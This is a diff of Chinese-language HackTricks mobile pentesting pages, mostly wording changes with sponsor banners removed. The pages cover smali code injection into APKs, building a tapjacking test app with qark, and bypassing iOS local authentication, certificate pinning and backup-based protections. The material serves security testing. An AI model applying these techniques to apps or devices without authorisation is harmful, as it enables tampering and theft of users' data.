**zipalign** 是一个归档对齐工具,为 Android 应用程序 (APK) 文件提供重要的优化。[More information here](https://developer.android.com/studio/command-line/zipalign).
**zipalign** 是一个归档对齐工具,为 Android 应用程序 (APK) 文件提供重要的优化。[更多信息在这里](https://developer.android.com/studio/command-line/zipalign)。
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **再次签署新的APK再一次**
如果您**更喜欢**使用 [**apksigner**](https://developer.android.com/studio/command-line/) 而不是 jarsigner**您应该在应用** zipalign **优化后签署apk**。但请注意,您只需**使用 jarsigner 签署应用一次**(在 zipalign 之前)或使用 aspsigner在 zipalign 之后)。
如果您**更喜欢**使用 [**apksigner**](https://developer.android.com/studio/command-line/) 而不是 jarsigner**您应该在应用** zipaling **优化后签署apk**。但请注意,您只需**使用 jarsigner 签署应用一次**(在 zipalign 之前)或使用 aspsigner在 zipaling 之后)。
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
@ -145,15 +139,15 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
```
建议:
- 如果您打算在函数内部使用声明的变量(声明 v0,v1,v2...),请将这些行放在 _.local \<number>_ 和变量声明 (_const v0, 0x1_) 之间。
- 如果您打算在函数内部使用声明的变量(声明 v0,v1,v2...),请将这些行放在 _.local \<number>_ 和变量声明 (_const v0, 0x1_) 之间。
- 如果您想在函数的代码中间放置日志记录代码:
- 将声明的变量数量加 2例如_.locals 10__.locals 12_
- 新变量应为已声明变量的下一个数字(在此示例中应为 _v10__v11_,请记住它从 v0 开始)。
- 更改日志记录函数的代码,并使用 _v10__v11_ _v5__v1_
- 更改日志记录函数的代码,并使用 _v10__v11_ _v5__v1_
### Toasting
请记得在函数开将 _.locals 的数量加 3。
请记得在函数开始时将 _.locals 的数量加 3。
此代码准备插入到 **函数的中间****根据需要更改** **变量****数量**)。它将获取 **this.o****值****转换** 为 **String**,然后 **制作** 一个 **toast** 以显示其值。
```bash
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **基本信息**
**Tapjacking** 是一种攻击,其中 **恶意** **应用程序** 被启动并 **位于受害者应用程序的顶部**。一旦它明显遮挡了受害者应用程序,其用户界面被设计成能够欺骗用户与之互动,同时将互动传递给受害者应用程序。\
**Tapjacking** 是一种攻击,其中 **恶意** **应用程序** 被启动并 **定位在受害者应用程序的顶部**。一旦它明显遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之互动,同时将互动传递给受害者应用程序。\
实际上,它是 **让用户无法知道他们实际上是在对受害者应用程序执行操作**
### 检测
为了检测易受此攻击的应用程序,您应该在 Android 清单中搜索 **导出活动**(请注意,带有意图过滤器的活动默认情况下会自动导出)。一旦找到导出活动,**检查它们是否需要任何权限**。这是因为 **恶意应用程序也需要该权限**
为了检测易受此攻击的应用程序,您应该在 Android 清单中搜索 **导出活动**(请注意,带有 intent-filter 的活动默认情况下会自动导出)。一旦找到导出活动,**检查它们是否需要任何权限**。这是因为 **恶意应用程序也需要该权限**
### 保护
@ -23,7 +19,7 @@
#### `filterTouchesWhenObscured`
如果 **`android:filterTouchesWhenObscured`** 设置为 **`true`**,则当视图的窗口被另一个可见窗口遮挡时,`View` 将不会接收触摸。
如果 **`android:filterTouchesWhenObscured`** 设置为 **`true`**,则 `View` 在视图窗口被另一个可见窗口遮挡时将不会接收触摸。
#### **`setFilterTouchesWhenObscured`**
@ -54,16 +50,13 @@ android:filterTouchesWhenObscured="true">
> [!CAUTION]
> 看起来这个项目现在不再维护,这个功能也不再正常工作
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序,以测试可能的 **Tapjacking** 漏洞。
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序,以测试可能的 **Tapjacking** 漏洞。\
缓解措施相对简单,因为开发者可以选择在视图被其他视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
缓解措施相对简单,因为开发者可以选择在视图被另一个视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
> 有时,应用程序能够验证某个操作是在用户充分了解和同意下进行的,这一点至关重要,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作,通过隐藏视图的预期目的。作为补救措施,框架提供了一种触摸过滤机制,可以用来提高提供敏感功能访问的视图的安全性。
> 有时,应用程序能够验证某个操作是在用户充分了解和同意的情况下进行的,这一点至关重要,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作,通过掩盖视图的预期目的。作为补救措施,框架提供了一种触摸过滤机制,可以用来提高提供敏感功能访问的视图的安全性。
>
> 要启用触摸过滤,请调用 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) 或将 android:filterTouchesWhenObscured 布局属性设置为 true。当启用时框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此当吐司、对话框或其他窗口出现在视图的窗口上方时视图将不会接收到触摸。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,8 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过 8kSec 学院深化您在 **移动安全** 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
{% embed url="https://academy.8ksec.io/" %}
### [学习 Android 基础](android-app-pentesting/#2-android-application-fundamentals)
### [学习 Android 基础知识](android-app-pentesting/#2-android-application-fundamentals)
- [ ] [基础知识](android-app-pentesting/#fundamentals-review)
- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
@ -28,8 +23,8 @@
- [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/#other-checks)。
- [ ] 敏感应用程序(如银行应用)应检查手机是否已被 root并应采取相应措施。
- [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)密码、URL、API、加密、后门、令牌、蓝牙 UUID...)。
- [ ] 特别注 [firebase](android-app-pentesting/#firebase) API。
- [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)密码、URL、API、加密、后门、令牌、蓝牙 UUID)。
- [ ] 特别注 [firebase](android-app-pentesting/#firebase) API。
- [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] 检查应用程序是否处于调试模式并尝试“利用”它
- [ ] 检查 APK 是否允许备份
@ -41,12 +36,12 @@
- [ ] 应用程序是否 [不安全地内部或外部保存数据](android-app-pentesting/#insecure-data-storage)
- [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)
- [ ] 所有库是否使用 PIE 标志编译?
- [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助
- [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助
### [动态分析](android-app-pentesting/#dynamic-analysis)
- [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis)[本地 VM 或物理](android-app-pentesting/#local-dynamic-analysis)
- [ ] 是否存在 [意外的数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
- [ ] 是否有任何 [意外的数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
- [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/#sqlite-dbs)
- [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)
- [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)
@ -54,18 +49,13 @@
- [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)
- [ ] 应用程序是否 [以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)?是否可能发生中间人攻击?
- [ ] [检查 HTTP/HTTPS 流量](android-app-pentesting/#inspecting-http-traffic)
- [ ] 这一点非常重要,因为如果您可以捕获 HTTP 流量,您可以搜索常见的 Web 漏洞Hacktricks 有很多关于 Web 漏洞的信息)。
- [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里提供帮助)
- [ ] [Frida](android-app-pentesting/#frida):仅使用 Frida利用它从应用程序中获取有趣的动态数据(也许一些密码...
- [ ] 这一点非常重要,因为如果你能捕获 HTTP 流量,你可以搜索常见的 Web 漏洞Hacktricks 有很多关于 Web 漏洞的信息)。
- [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里有所帮助)
- [ ] [Frida](android-app-pentesting/#frida):仅使用 Frida从应用程序中获取有趣的动态数据也许一些密码...
### 一些混淆/去混淆信息
- [ ] [在这里阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过 8kSec 学院深化您在 **移动安全** 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,12 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### 准备
- [ ] 阅读 [**iOS 基础**](ios-pentesting/ios-basics.md)
- [ ] 准备的环境,阅读 [**iOS 测试环境**](ios-pentesting/ios-testing-environment.md)
- [ ] 阅读 [**iOS 初步分析**](ios-pentesting/#initial-analysis) 的所有部分,以了解对 iOS 应用程序进行渗透测试的常见操作
- [ ] 准备你的环境,阅读 [**iOS 测试环境**](ios-pentesting/ios-testing-environment.md)
- [ ] 阅读 [**iOS 初步分析**](ios-pentesting/#initial-analysis) 的所有部分,以了解对 iOS 应用进行渗透测试的常见操作
### 数据存储
@ -24,10 +16,10 @@
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) 配置错误。
- [ ] [**Realm 数据库**](ios-pentesting/#realm-databases) 可以存储敏感信息。
- [ ] [**Couchbase Lite 数据库**](ios-pentesting/#couchbase-lite-databases) 可以存储敏感信息。
- [ ] [**二进制 Cookie**](ios-pentesting/#cookies) 可以存储敏感信息
- [ ] [**缓存数据**](ios-pentesting/#cache) 可以存储敏感信息
- [ ] [**自动快照**](ios-pentesting/#snapshots) 可以保存视觉敏感信息
- [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储敏感信息,这些信息在转售手机时可能会被遗留。
- [ ] [**二进制 Cookie**](ios-pentesting/#cookies) 可以存储敏感信息
- [ ] [**缓存数据**](ios-pentesting/#cache) 可以存储敏感信息
- [ ] [**自动快照**](ios-pentesting/#snapshots) 可以保存视觉敏感信息
- [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储在转售手机时可能遗留的敏感信息
- [ ] 总之,只需 **检查应用程序在文件系统中保存的敏感信息**
### 键盘
@ -42,7 +34,7 @@
### 备份
- [ ] [**备份**](ios-pentesting/#backups) 可用于 **访问文件系统中保存的敏感信息**(检查此检查表的初始点)
- [ ] 此外,[**备份**](ios-pentesting/#backups) 可用于 **修改应用程序的一些配置**,然后 **在手机上恢复** 备份,作为 **修改后的配置****加载**,某些(安全) **功能** 可能会被 **绕过**
- [ ] 此外,[**备份**](ios-pentesting/#backups) 可用于 **修改应用程序的一些配置**,然后 **在手机上恢复** 备份,作为 **修改后的配置****加载**,某些(安全) **功能** 可能会被 **绕过**
### **应用程序内存**
@ -56,15 +48,15 @@
### **本地身份验证**
- [ ] 如果应用程序使用 [**本地身份验证**](ios-pentesting/#local-authentication)应该检查身份验证的工作方式。
- [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
- [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain)您可以创建自定义 frida 脚本。
- [ ] 如果应用程序使用 [**本地身份验证**](ios-pentesting/#local-authentication)应该检查身份验证的工作方式。
- [ ] 如果使用 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
- [ ] 如果使用 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain)你可以创建一个自定义的 frida 脚本
### 通过 IPC 暴露敏感功能
- [**自定义 URI 处理程序 / 深度链接 / 自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] 检查应用程序是否 **注册了任何协议/方案**
- [ ] 检查应用程序是否 **注册使用** 任何协议/方案
- [ ] 检查应用程序是否 **注册使用** 任何协议/方案
- [ ] 检查应用程序 **是否期望从自定义方案接收任何类型的敏感信息**,该信息可以被注册相同方案的另一个应用程序 **拦截**
- [ ] 检查应用程序 **是否未检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
@ -74,7 +66,7 @@
- [ ] 检查应用程序 **是否未检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
- [**UIActivity 共享**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] 检查应用程序是否可以接收 UIActivities是否可以利用任何特殊构造的活动中的漏洞
- [ ] 检查应用程序是否可以接收 UIActivities是否可以利用任何特殊构造的活动来利用漏洞
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] 检查应用程序是否 **将任何内容复制到通用剪贴板**
- [ ] 检查应用程序是否 **使用通用剪贴板中的数据**
@ -84,26 +76,18 @@
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] 检查使用的 WebViews 类型
- [ ] 检查 **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`** 的状态
- [ ] 检查 webview 是否可以 **访问本地文件**,协议 **file://** **`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`**
- [ ] 检查 webview 是否可以 **访问本地文件**使用协议 **file://** **`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`**
- [ ] 检查 Javascript 是否可以访问 **Native** **方法**`JSContext``postMessage`
### 网络通信
- [ ] 执行 [**MitM 通信**](ios-pentesting/#network-communication) 并搜索 Web 漏洞。
- [ ] 执行 [**MitM 进行通信**](ios-pentesting/#network-communication) 并搜索 Web 漏洞。
- [ ] 检查 [**证书的主机名**](ios-pentesting/#hostname-check) 是否被检查
- [ ] 检查/绕过 [**证书钉扎**](ios-pentesting/#certificate-pinning)
### **其他**
### **杂项**
- [ ] 检查 [**自动修补/更新**](ios-pentesting/#hot-patching-enforced-updateing) 机制
- [ ] 检查 [**恶意第三方库**](ios-pentesting/#third-parties)
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,34 +1,26 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS 基础
## iOS Basics
{{#ref}}
ios-basics.md
{{#endref}}
## 测试环境
## Testing Environment
在此页面中,您可以找到有关 **iOS 模拟器**、**模拟器** 和 **越狱** 的信息:
在此页面中,您可以找到有关 **iOS 模拟器**、**仿真器** 和 **越狱** 的信息:
{{#ref}}
ios-testing-environment.md
{{#endref}}
## 初步分析
## Initial Analysis
### 基本 iOS 测试操作
### Basic iOS Testing Operations
在测试过程中 **将建议进行几项操作**(连接设备、读/写/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请 **开始阅读此页面**
在测试过程中 **将建议进行几项操作**(连接设备、读/写/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请 **开始阅读此页面**
{{#ref}}
basic-ios-testing-operations.md
@ -38,34 +30,39 @@ basic-ios-testing-operations.md
> 对于以下步骤 **应用程序应已安装** 在设备上,并且应已获得 **IPA 文件**。\
> 阅读 [Basic iOS Testing Operations](basic-ios-testing-operations.md) 页面以了解如何执行此操作。
### 基本静态分析
### Basic Static Analysis
一些有趣的 iOS - IPA 文件反编译工具:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
建议使用工具 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 对 IPA 文件进行自动静态分析。
识别 **二进制文件中存在的保护**
- **PIE (位置无关可执行文件)**:启用时,应用程序每次启动时加载到随机内存地址,使其初始内存地址更难预测。
- **PIE (Position Independent Executable)**:启用时,应用程序每次启动时加载到随机内存地址,使其初始内存地址更难预测。
```bash
otool -hv <app-binary> | grep PIE # 应该包含 PIE 标志
```
- **栈金丝雀**:为了验证栈的完整性,在调用函数之前将一个“金丝雀”值放置在栈上,并在函数结束时再次验证。
- **Stack Canaries**:为了验证栈的完整性,在调用函数之前将一个“金丝雀”值放置在栈上,并在函数结束时再次验证。
```bash
otool -I -v <app-binary> | grep stack_chk # 应该包含符号stack_chk_guard 和 stack_chk_fail
```
- **ARC (自动引用计数)**:防止常见的内存损坏缺陷
- **ARC (Automatic Reference Counting)**:防止常见的内存损坏缺陷
```bash
otool -I -v <app-binary> | grep objc_release # 应该包含 _objc_release 符号
```
- **加密二进制文件**:二进制文件应已加密
- **Encrypted Binary**:二进制文件应被加密
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # 加密标志应为 1
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid 应该为 1
```
**识别敏感/不安全函数**
@ -136,13 +133,13 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
### 基本动态分析
### Basic Dynamic Analysis
查看 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 执行的动态分析。您需要浏览不同的视图并与之互,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
查看 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 执行的动态分析。您需要浏览不同的视图并与之互,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
### 列出已安装的应用
### Listing Installed Apps
使用命令 `frida-ps -Uai` 确定已安装应用的 **包标识符**
使用命令 `frida-ps -Uai` 来确定已安装应用程序的 **bundle identifier**
```bash
$ frida-ps -Uai
PID Name Identifier
@ -189,7 +186,7 @@ ios-hooking-with-objection.md
```bash
$ plutil -convert xml1 Info.plist
```
- **对于 Linux**:
- **对于Linux**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -200,14 +197,14 @@ $ grep -i <keyword> Info.plist
```
**数据路径**
在 iOS 环境中,目录专门为 **系统应用** 和 **用户安装的应用** 指定。系统应用位于 `/Applications` 目录下,而用户安装的应用则放置在 `/var/mobile/containers/Data/Application/` 下。这些应用被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用文件夹的任务因目录名称的随机性而变得具有挑战性。
在 iOS 环境中,目录专门为 **系统应用程序** 和 **用户安装的应用程序** 指定。系统应用程序位于 `/Applications` 目录下,而用户安装的应用程序则放置在 `/var/mobile/containers/Data/Application/` 下。这些应用程序被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用程序文件夹的任务因目录名称的随机性而变得具有挑战性。
> [!WARNING]
> 由于 iOS 中的应用必须被沙盒化,每个应用在 **`$HOME/Library/Containers`** 中也会有一个以应用的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
> 由于 iOS 中的应用程序必须被沙盒化,每个应用程序**`$HOME/Library/Containers`** 中也会有一个以应用程序**`CFBundleIdentifier`** 作为文件夹名称的文件夹。
>
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
为了方便发现用户安装的应用的安装目录,**objection tool** 提供了一个有用的命令 `env`。该命令显示了相关应用的详细目录信息。以下是如何使用此命令的示例:
为了方便发现用户安装的应用程序的安装目录,**objection tool** 提供了一个有用的命令 `env`。该命令显示了相关应用程序的详细目录信息。以下是如何使用此命令的示例:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -251,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- 此目录中的内容**不被备份**。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
- **Library/Application Support/**
- 包含运行应用程序所需的**持久****文件**。
- 包含运行应用程序所需的**持久****文件**。
- 对**用户不可见**,用户无法写入。
- 此目录中的内容**被备份**。
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
@ -266,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- 此目录中的内容不被备份。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
让我们仔细看看iGoat-Swift的应用程序包.app目录位于Bundle目录`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`
让我们仔细看看iGoat-Swift的应用程序包.app目录位于Bundle目录`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -360,14 +357,6 @@ double _field2;
```
然而,反汇编二进制文件的最佳选项是:[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## 数据存储
要了解 iOS 如何在设备中存储数据,请阅读此页面:
@ -377,8 +366,8 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> 以下存储信息的地方应在 **安装应用程序后**、**检查应用程序的所有功能后**,甚至在 **从一个用户注销并登录到另一个用户后** 进行检查。\
> 目标是找到应用程序的 **未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
> 以下存储信息的位置应在 **安装应用程序后立即** 检查,**在检查应用程序的所有功能后**,甚至在 **从一个用户注销并登录到另一个用户后**。\
> 目标是找到应用程序的 **未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
### Plist
@ -390,7 +379,7 @@ ios-basics.md
此数据不能再通过受信任的计算机直接访问,但可以通过执行 **备份** 进行访问。
您可以使用 objection 的 `ios nsuserdefaults get`**转储** 使用 **`NSUserDefaults`** 保存的信息。
您可以使用 objection 的 `ios nsuserdefaults get`**转储** 保存的信息。
要找到应用程序使用的所有 plist您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
```bash
@ -402,7 +391,7 @@ find ./ -name "*.plist"
```bash
$ plutil -convert xml1 Info.plist
```
**对于 Linux 用户:** 首先安装 `libplist-utils`,然后使用 `plistutil` 转换您的文件:
**对于Linux用户** 首先安装`libplist-utils`,然后使用`plistutil`转换您的文件:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -449,7 +438,7 @@ NSLog(@"data stored in core data");
### 其他 SQLite 数据库
应用程序通常会创建自己的 sqlite 数据库。它们可能在上面**存储** **敏感** **数据**,并且未加密。因此,检查应用程序目录中的每个数据库总是很有趣。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)
应用程序通常会创建自己的 sqlite 数据库。它们可能在其中**存储** **敏感** **数据**,并且未加密。因此,检查应用程序目录中的每个数据库总是很有趣。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -585,7 +574,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
#### **存储凭据**
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,可以使用以下 Swift 代码:
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,使用以下 Swift 代码:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -621,9 +610,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
尽管有这些限制,**具有物理访问权限的攻击者**仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。需要注意的是,日志在应用程序卸载后仍然保留在磁盘上。
为了降低风险,建议**彻底与应用程序互**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
为了降低风险,建议**彻底与应用程序互**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
检查应用程序源代码以寻找潜在泄露时,查找使用关键字如`NSLog``NSAssert``NSCAssert``fprintf`的**预定义**和**自定义日志语句**,以及任何提`Logging``Logfile`的自定义实现。
审查应用程序的源代码以查找潜在泄露时,查找使用关键字如`NSLog``NSAssert``NSCAssert``fprintf`的**预定义**和**自定义日志语句**,以及任何提`Logging``Logfile`的自定义实现。
### **监控系统日志**
@ -647,33 +636,23 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
跟随命令观察日志活动,这对于诊断问题或识别日志中的潜在数据泄漏非常宝贵。
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## 备份
**自动备份功能** 集成在 iOS 中,通过 iTunes最多支持 macOS Catalina、Finder从 macOS Catalina 开始)或 iCloud 方便地创建设备数据副本。这些备份几乎涵盖所有设备数据,排除高度敏感的元素,如 Apple Pay 详细信息和 Touch ID 配置。
**自动备份功能**集成在iOS中通过iTunes最多支持macOS Catalina、Finder从macOS Catalina开始或iCloud便于创建设备数据副本。这些备份几乎涵盖所有设备数据排除高度敏感的元素如Apple Pay详细信息和Touch ID配置。
### 安全风险
**已安装应用及其数据** 的备份引发了潜在 **数据泄漏** 的问题,以及 **备份修改可能改变应用功能** 的风险。建议 **不要在任何应用的目录或其子目录中以明文存储敏感信息** 以降低这些风险。
**已安装应用及其数据**的备份引发了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
### 从备份中排除文件
`Documents/` `Library/Application Support/` 中的文件默认会被备份。开发者可以使用 `NSURL setResourceValue:forKey:error:` `NSURLIsExcludedFromBackupKey` 来排除特定文件或目录的备份。这一做法对于保护敏感数据不被包含在备份中至关重要。
`Documents/``Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:``NSURLIsExcludedFromBackupKey`来排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
### 测试漏洞
